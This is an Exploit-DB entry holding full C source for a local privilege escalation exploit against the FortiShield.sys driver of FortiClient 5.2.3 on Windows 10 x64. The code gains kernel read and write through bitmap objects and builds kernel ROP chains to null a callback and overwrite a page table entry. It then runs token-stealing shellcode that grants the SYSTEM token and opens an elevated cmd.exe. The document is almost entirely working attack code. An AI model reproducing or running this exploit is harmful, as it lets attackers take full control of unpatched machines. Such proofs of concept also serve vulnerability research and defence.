Fortinet FortiClient 5.2.3 (Windows 10 x64 Post-Anniversary) - Local Privilege Escalation

EDB-ID:

41722

Author:

sickness

Type:

local

Published:

2017-03-25

/*
Check these out: 
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/
Tested on: 
- Windows 10 Pro x64 (Post-Anniversary)
- ntoskrnl.exe: 10.0.14393.953
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D 
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

#pragma comment (lib,"psapi")
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "User32.lib")

#define object_number 0x02
#define accel_array_size 0x2b6
#define STATUS_SUCCESS 0x00000000

typedef void** PPVOID;

typedef struct _tagSERVERINFO {
	UINT64 pad;
	UINT64 cbHandleEntries;
} SERVERINFO, *PSERVERINFO;

typedef struct _HANDLEENTRY {
	PVOID pHeader;	// Pointer to the Object
	PVOID pOwner;	// PTI or PPI
	UCHAR bType;	// Object handle type
	UCHAR bFlags;	// Flags
	USHORT wUniq;	// Access count
} HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SHAREDINFO {
	PSERVERINFO psi;
	PHANDLEENTRY aheList;
} SHAREDINFO, *PSHAREDINFO;

ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) {
	ULONGLONG result = address >> 9;
	result = result | pte_start;
	result = result & (pte_start + 0x0000007ffffffff8);
	return result;
}

HMODULE ntdll;
HMODULE user32dll;

struct bitmap_structure {
	HBITMAP manager_bitmap;
	HBITMAP worker_bitmap;
};

struct bitmap_structure create_bitmaps(HACCEL hAccel[object_number]) {
	struct bitmap_structure bitmaps;
	char *manager_bitmap_memory;
	char *worker_bitmap_memory;
	HBITMAP manager_bitmap;
	HBITMAP worker_bitmap;
	int nWidth = 0x703;
	int nHeight = 2;
	unsigned int cPlanes = 1;
	unsigned int cBitsPerPel = 8;
	const void *manager_lpvBits;
	const void *worker_lpvBits;

	manager_bitmap_memory = malloc(nWidth * nHeight);
	memset(manager_bitmap_memory, 0x00, sizeof(manager_bitmap_memory));
	manager_lpvBits = manager_bitmap_memory;

	worker_bitmap_memory = malloc(nWidth * nHeight);
	memset(worker_bitmap_memory, 0x00, sizeof(worker_bitmap_memory));
	worker_lpvBits = worker_bitmap_memory;

	BOOL destroy_table;
	destroy_table = DestroyAcceleratorTable(hAccel[0]);
	if (destroy_table == 0) {
		printf("[!] Failed to delete accelerator table[0]: %d\n", GetLastError());
		exit(1);
	}

	manager_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, manager_lpvBits);
	if (manager_bitmap == NULL) {
		printf("[!] Failed to create BitMap object: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Manager BitMap HANDLE: %I64x\n", (ULONGLONG)manager_bitmap);

	destroy_table = DestroyAcceleratorTable(hAccel[1]);
	if (destroy_table == 0) {
		printf("[!] Failed to delete accelerator table[1]: %d\n", GetLastError());
		exit(1);
	}
	worker_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, worker_lpvBits);
	if (worker_bitmap == NULL) {
		printf("[!] Failed to create BitMap object: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Worker BitMap HANDLE: %I64x\n", (ULONGLONG)worker_bitmap);

	bitmaps.manager_bitmap = manager_bitmap;
	bitmaps.worker_bitmap = worker_bitmap;
	return bitmaps;
}

PHANDLEENTRY leak_table_kernel_address(HMODULE user32dll, HACCEL hAccel[object_number], PHANDLEENTRY handle_entry[object_number]) {
	int i;
	PSHAREDINFO gSharedInfo;
	ULONGLONG aheList;
	DWORD handle_entry_size = 0x18;

	gSharedInfo = (PSHAREDINFO)GetProcAddress(user32dll, (LPCSTR)"gSharedInfo");
	if (gSharedInfo == NULL) {
		printf("[!] Error while retrieving gSharedInfo: %d.\n", GetLastError());
		return NULL;
	}
	aheList = (ULONGLONG)gSharedInfo->aheList;
	printf("[+] USER32!gSharedInfo located at: %I64x\n", (ULONGLONG)gSharedInfo);
	printf("[+] USER32!gSharedInfo->aheList located at: %I64x\n", (ULONGLONG)aheList);
	for (i = 0; i < object_number; i++) {
		handle_entry[i] = (PHANDLEENTRY)(aheList + ((ULONGLONG)hAccel[i] & 0xffff) * handle_entry_size);
	}
	return *handle_entry;
}

ULONGLONG write_bitmap(HBITMAP bitmap_handle, ULONGLONG to_write) {
	ULONGLONG write_operation;
	write_operation = SetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_write);
	if (write_operation == 0) {
		printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
		exit(1);
	}
	return 0;
}

ULONGLONG read_bitmap(HBITMAP bitmap_handle) {
	ULONGLONG read_operation;
	ULONGLONG to_read;
	read_operation = GetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_read);
	if (read_operation == 0) {
		printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
		exit(1);
	}
	return to_read;
}

HACCEL create_accelerator_table(HACCEL hAccel[object_number], int table_number) {
	int i;
	table_number = object_number;
	ACCEL accel_array[accel_array_size];
	LPACCEL lpAccel = accel_array;

	printf("[+] Creating %d Accelerator Tables\n", table_number);
	for (i = 0; i < table_number; i++) {
		hAccel[i] = CreateAcceleratorTableA(lpAccel, accel_array_size);
		if (hAccel[i] == NULL) {
			printf("[!] Error while creating the accelerator table: %d.\n", GetLastError());
			exit(1);
		}
	}
	return *hAccel;
}

LPVOID allocate_rop_chain(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG manager_pvScan_offset, ULONGLONG worker_pvScan_offset) {
	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG rop_chain_address = 0x000000008aff07da;
	LPVOID allocate_rop_chain;
	allocate_rop_chain = VirtualAlloc((LPVOID*)rop_chain_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_rop_chain == NULL) {
		printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
		exit(1);
	}

	/* <Null callback> */
	ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf;	// pop rax; pop rcx; ret
	ULONGLONG rop_02 = fortishield_callback;
	ULONGLONG rop_03 = 0x0000000000000000;					// NULL the callback
	ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0xb7621;	// mov qword ptr [rax], rcx ; ret 
	/* </Null callback> */

	/* <Overwrite pvScan0> */
	ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0x14adaf;	// pop rax; pop rcx; ret
	ULONGLONG rop_06 = (ULONGLONG)manager_pvScan_offset;	// Manager BitMap pvScan0 offset
	ULONGLONG rop_07 = (ULONGLONG)worker_pvScan_offset;		// Worker BitMap pvScan0 offset
	ULONGLONG rop_08 = (ULONGLONG)kernel_base + 0xb7621;	// mov qword ptr [rax], rcx ; ret 
	/* </Overwrite pvScan0> */

	/* <Prepare RBX (to write the orignial stack pointer to> */
	ULONGLONG rop_09 = (ULONGLONG)kernel_base + 0x62c0c3;	// pop rbx ; ret
	ULONGLONG rop_10 = 0x000000008b0000e0;
	/* </Prepare RBX (to write the orignial stack pointer to> */

	/* <Get RSI value (points to the original stack) into RAX> */
	ULONGLONG rop_11 = (ULONGLONG)kernel_base + 0x6292eb;	// pop rax ; ret
	ULONGLONG rop_12 = (ULONGLONG)kernel_base + 0x556dc9;	// mov rax, rcx ; add rsp, 0x28 ; ret
	ULONGLONG rop_13 = (ULONGLONG)kernel_base + 0x4115ca;	// mov rcx, rsi ; call rax
	ULONGLONG rop_14 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_15 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_16 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_17 = 0x4141414141414141;					// JUNK
	/* </Get RSI value (points to the original stack) into RAX> */

	/* <Adjust RAX to point to the return address pushed by the call> */
	ULONGLONG rop_18 = (ULONGLONG)kernel_base + 0x61260f;	// pop rcx ; ret
	ULONGLONG rop_19 = 0x0000000000000028;					// Get the return address
	ULONGLONG rop_20 = (ULONGLONG)kernel_base + 0xd8c12;	// sub rax, rcx ; ret
	/* </Adjust RAX to point to the return address pushed by the call> */

	/* <Overwrite the return from the call with fortishield_restore> */
	ULONGLONG rop_21 = (ULONGLONG)kernel_base + 0x61260f;	// pop rcx ; ret
	ULONGLONG rop_22 = fortishield_restore;
	ULONGLONG rop_23 = (ULONGLONG)kernel_base + 0xb7621;	// mov qword ptr [rax], rcx ; ret
	/* </Overwrite the return from the call with fortishield_restore> */

	/* <Write the original stack pointer on our usermode_stack> */
	ULONGLONG rop_24 = (ULONGLONG)kernel_base + 0x4cde3e;	// mov qword ptr [rbx + 0x10], rax ; add rsp, 0x20 ; pop rbx ; ret
	ULONGLONG rop_25 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_26 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_27 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_28 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_29 = 0x0000000000000000;					// Value to be POP'ed in RBX, needs to be 0x00 at the end for restore
	/* </Write the original stack pointer on our usermode_stack> */

	/* <Restore stack pointer> */
	ULONGLONG rop_30 = (ULONGLONG)kernel_base + 0x62b91b;	// pop rsp ; ret
	/* </Restore stack pointer> */

	char *rop_chain;
	DWORD rop_chain_size = 0x12000;
	rop_chain = (char *)malloc(rop_chain_size);
	memset(rop_chain, 0x41, rop_chain_size);
	memcpy(rop_chain + 0xf826, &rop_01, 0x08);
	memcpy(rop_chain + 0xf82e, &rop_02, 0x08);
	memcpy(rop_chain + 0xf836, &rop_03, 0x08);
	memcpy(rop_chain + 0xf83e, &rop_04, 0x08);
	memcpy(rop_chain + 0xf846, &rop_05, 0x08);
	memcpy(rop_chain + 0xf84e, &rop_06, 0x08);
	memcpy(rop_chain + 0xf856, &rop_07, 0x08);
	memcpy(rop_chain + 0xf85e, &rop_08, 0x08);
	memcpy(rop_chain + 0xf866, &rop_09, 0x08);
	memcpy(rop_chain + 0xf86e, &rop_10, 0x08);
	memcpy(rop_chain + 0xf876, &rop_11, 0x08);
	memcpy(rop_chain + 0xf87e, &rop_12, 0x08);
	memcpy(rop_chain + 0xf886, &rop_13, 0x08);
	memcpy(rop_chain + 0xf88e, &rop_14, 0x08);
	memcpy(rop_chain + 0xf896, &rop_15, 0x08);
	memcpy(rop_chain + 0xf89e, &rop_16, 0x08);
	memcpy(rop_chain + 0xf8a6, &rop_17, 0x08);
	memcpy(rop_chain + 0xf8ae, &rop_18, 0x08);
	memcpy(rop_chain + 0xf8b6, &rop_19, 0x08);
	memcpy(rop_chain + 0xf8be, &rop_20, 0x08);
	memcpy(rop_chain + 0xf8c6, &rop_21, 0x08);
	memcpy(rop_chain + 0xf8ce, &rop_22, 0x08);
	memcpy(rop_chain + 0xf8d6, &rop_23, 0x08);
	memcpy(rop_chain + 0xf8de, &rop_24, 0x08);
	memcpy(rop_chain + 0xf8e6, &rop_25, 0x08);
	memcpy(rop_chain + 0xf8ee, &rop_26, 0x08);
	memcpy(rop_chain + 0xf8f6, &rop_27, 0x08);
	memcpy(rop_chain + 0xf8fe, &rop_28, 0x08);
	memcpy(rop_chain + 0xf906, &rop_29, 0x08);
	memcpy(rop_chain + 0xf90e, &rop_30, 0x08);

	BOOL WPMresult;
	SIZE_T written;
	WPMresult = WriteProcessMemory(pid, (LPVOID)rop_chain_address, rop_chain, rop_chain_size, &written);
	if (WPMresult == 0)
	{
		printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Memory allocated at: %p\n", allocate_rop_chain);
	return allocate_rop_chain;
}

LPVOID allocate_shellcode(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result) {
	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG shellcode_address = 0x000000008aff07da;
	LPVOID allocate_shellcode;
	allocate_shellcode = VirtualAlloc((LPVOID*)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_shellcode == NULL) {
		printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
		exit(1);
	}

	/* <Overwrite PTE> */
	ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf;	// pop rax; pop rcx; ret
	ULONGLONG rop_02 = (ULONGLONG)pte_result;				// PTE address
	ULONGLONG rop_03 = 0x0000000000000063;					// DIRTY + ACCESSED + R/W + PRESENT
	ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0x130779;	// mov byte ptr [rax], cl ; mov rbx, qword ptr [rsp + 8] ; ret
	ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0xc459c;	// wbinvd ; ret
	ULONGLONG rop_06 = 0x000000008b00081a;					// shellcode
	ULONGLONG rop_07 = fortishield_callback;
	ULONGLONG rop_08 = fortishield_restore;
	/* </Overwrite PTE> */

	/*
	;kd> dt -r1 nt!_TEB
	;   +0x110 SystemReserved1  : [54] Ptr64 Void
	;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
	kd> u nt!PsGetCurrentProcess
	nt!PsGetCurrentProcess:
	mov rax,qword ptr gs:[188h]
	mov rax,qword ptr [rax+0B8h]

	- Token stealing rop_chain & restore:

	start:
	mov rdx, [gs:0x188]
	mov r8, [rdx+0x0b8]
	mov r9, [r8+0x2f0]
	mov rcx, [r9]
	find_system_proc:
	mov rdx, [rcx-0x8]
	cmp rdx, 4
	jz found_it
	mov rcx, [rcx]
	cmp rcx, r9
	jnz find_system_proc
	found_it:
	mov rax, [rcx+0x68]
	and al, 0x0f0
	mov [r8+0x358], rax
	restore:
	mov rbp, qword ptr [rsp+0x80]
	xor rbx, rbx
	mov [rbp], rbx
	mov rbp, qword ptr [rsp+0x88]
	mov rax, rsi
	mov rsp, rax
	sub rsp, 0x20
	jmp rbp
	*/

	char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
		"\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
		"\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
		"\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
		"\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
		"\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
		"\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";

	char *shellcode;
	DWORD shellcode_size = 0x12000;
	shellcode = (char *)malloc(shellcode_size);
	memset(shellcode, 0x41, shellcode_size);
	memcpy(shellcode + 0xf826, &rop_01, 0x08);
	memcpy(shellcode + 0xf82e, &rop_02, 0x08);
	memcpy(shellcode + 0xf836, &rop_03, 0x08);
	memcpy(shellcode + 0xf83e, &rop_04, 0x08);
	memcpy(shellcode + 0xf846, &rop_05, 0x08);
	memcpy(shellcode + 0xf84e, &rop_06, 0x08);
	memcpy(shellcode + 0xf8d6, &rop_07, 0x08);
	memcpy(shellcode + 0xf8de, &rop_08, 0x08);
	memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));

	BOOL WPMresult;
	SIZE_T written;
	WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written);
	if (WPMresult == 0)
	{
		printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Memory allocated at: %p\n", allocate_shellcode);
	return allocate_shellcode;
}

LPVOID GetBaseAddr(char *drvname) {
	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
		char szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				//printf("%s (%p)\n", szDrivers, drivers[i]);
				if (strcmp(szDrivers, drvname) == 0) {
					//printf("%s (%p)\n", szDrivers, drivers[i]);
					return drivers[i];
				}
			}
		}
	}
	return 0;
}

DWORD trigger_callback() {

	/* This file needs to be on the local HDD to work. */
	printf("[+] Creating dummy file\n");
	system("echo test > test.txt");

	printf("[+] Calling MoveFileEx()\n");
	BOOL MFEresult;
	MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main() {
	ntdll = LoadLibrary((LPCSTR)"ntdll");
	if (ntdll == NULL) {
		printf("[!] Error while loading ntdll: %d\n", GetLastError());
		return 1;
	}

	user32dll = LoadLibrary((LPCSTR)"user32");
	if (user32dll == NULL) {
		printf("[!] Error while loading user32: %d.\n", GetLastError());
		return 1;
	}

	HACCEL hAccel[object_number];
	create_accelerator_table(hAccel, object_number);

	PHANDLEENTRY handle_entry[object_number];
	leak_table_kernel_address(user32dll, hAccel, handle_entry);

	printf(
		"[+] Accelerator Table[0] HANDLE: %I64x\n"
		"[+] Accelerator Table[0] HANDLE: %I64x\n"
		"[+] Accelerator Table[0] kernel address: %I64x\n"
		"[+] Accelerator Table[0] kernel address: %I64x\n",
		(ULONGLONG)hAccel[0],
		(ULONGLONG)hAccel[1],
		(ULONGLONG)handle_entry[0]->pHeader,
		(ULONGLONG)handle_entry[1]->pHeader
	);

	ULONGLONG manager_pvScan_offset;
	ULONGLONG worker_pvScan_offset;
	manager_pvScan_offset = (ULONGLONG)handle_entry[0]->pHeader + 0x18 + 0x38;
	worker_pvScan_offset = (ULONGLONG)handle_entry[1]->pHeader + 0x18 + 0x38;

	printf("[+] Replacing Accelerator Tables with BitMap objects\n");
	struct bitmap_structure bitmaps;
	bitmaps = create_bitmaps(hAccel);

	printf("[+] Manager BitMap pvScan0 offset: %I64x\n", (ULONGLONG)manager_pvScan_offset);
	printf("[+] Worker BitMap pvScan0 offset: %I64x\n", (ULONGLONG)worker_pvScan_offset);

	HANDLE forti;
	forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE) {
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

	LPVOID kernel_base = GetBaseAddr("ntoskrnl.exe");
	LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
	ULONGLONG kernel_pivot = (ULONGLONG)kernel_base + 0x4efae5;
	ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
	ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
	printf("[+] Kernel found at: %llx\n", (ULONGLONG)kernel_base);
	printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);

	DWORD IoControlCode = 0x220028;
	ULONGLONG InputBuffer = kernel_pivot;
	DWORD InputBufferLength = 0x8;
	ULONGLONG OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

	LPVOID rop_chain_allocation;
	rop_chain_allocation = allocate_rop_chain(kernel_base, fortishield_callback, fortishield_restore, manager_pvScan_offset, worker_pvScan_offset);

	HANDLE hThread;
	LPDWORD hThread_id = 0;
	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
	if (hThread == NULL)
	{
		printf("[!] Error while calling CreateThread: %d\n", GetLastError());
		return 1;
	}

	BOOL hThread_priority;
	hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
	if (hThread_priority == 0)
	{
		printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
		return 1;
	}

	
	printf("[+] Press ENTER to trigger the vulnerability.\n");
	getchar();
	

	BOOL triggerIOCTL;
	ResumeThread(hThread);
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	WaitForSingleObject(hThread, INFINITE);

	/* <Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */
	ULONGLONG manager_write_pte_offset = (ULONGLONG)kernel_base + 0x47314 + 0x13;

	printf("[+] Writing nt!MiGetPteAddress + 0x13 to Worker pvScan0.\n");
	getchar();
	write_bitmap(bitmaps.manager_bitmap, manager_write_pte_offset);

	printf("[+] Reading from Worker pvScan0.\n");
	getchar();
	ULONGLONG pte_start = read_bitmap(bitmaps.worker_bitmap);
	printf("[+] PTE virtual base address: %I64x\n", pte_start);

	ULONGLONG pte_result;
	ULONGLONG pte_value = 0x8b000000;
	pte_result = get_pxe_address_64(pte_value, pte_start);
	printf("[+] PTE virtual address for 0x8b000000: %I64x\n", pte_result);
	/* </Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */

	BOOL VFresult;
	VFresult = VirtualFree(rop_chain_allocation, 0x0, MEM_RELEASE);
	if (VFresult == 0)
	{
		printf("[!] Error while calling VirtualFree: %d\n", GetLastError());
		return 1;
	}

	LPVOID shellcode_allocation;
	shellcode_allocation = allocate_shellcode(kernel_base, fortishield_callback, fortishield_restore, pte_result);

	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
	if (hThread == NULL)
	{
		printf("[!] Error while calling CreateThread: %d\n", GetLastError());
		return 1;
	}

	hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
	if (hThread_priority == 0)
	{
		printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
		return 1;
	}

	printf("[+] Press ENTER to trigger the vulnerability again.\n");
	getchar();

	ResumeThread(hThread);
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	WaitForSingleObject(hThread, INFINITE);
	
	printf("\n");
	system("start cmd.exe");
	DeleteObject(bitmaps.manager_bitmap);
	DeleteObject(bitmaps.worker_bitmap);

	return 0;
}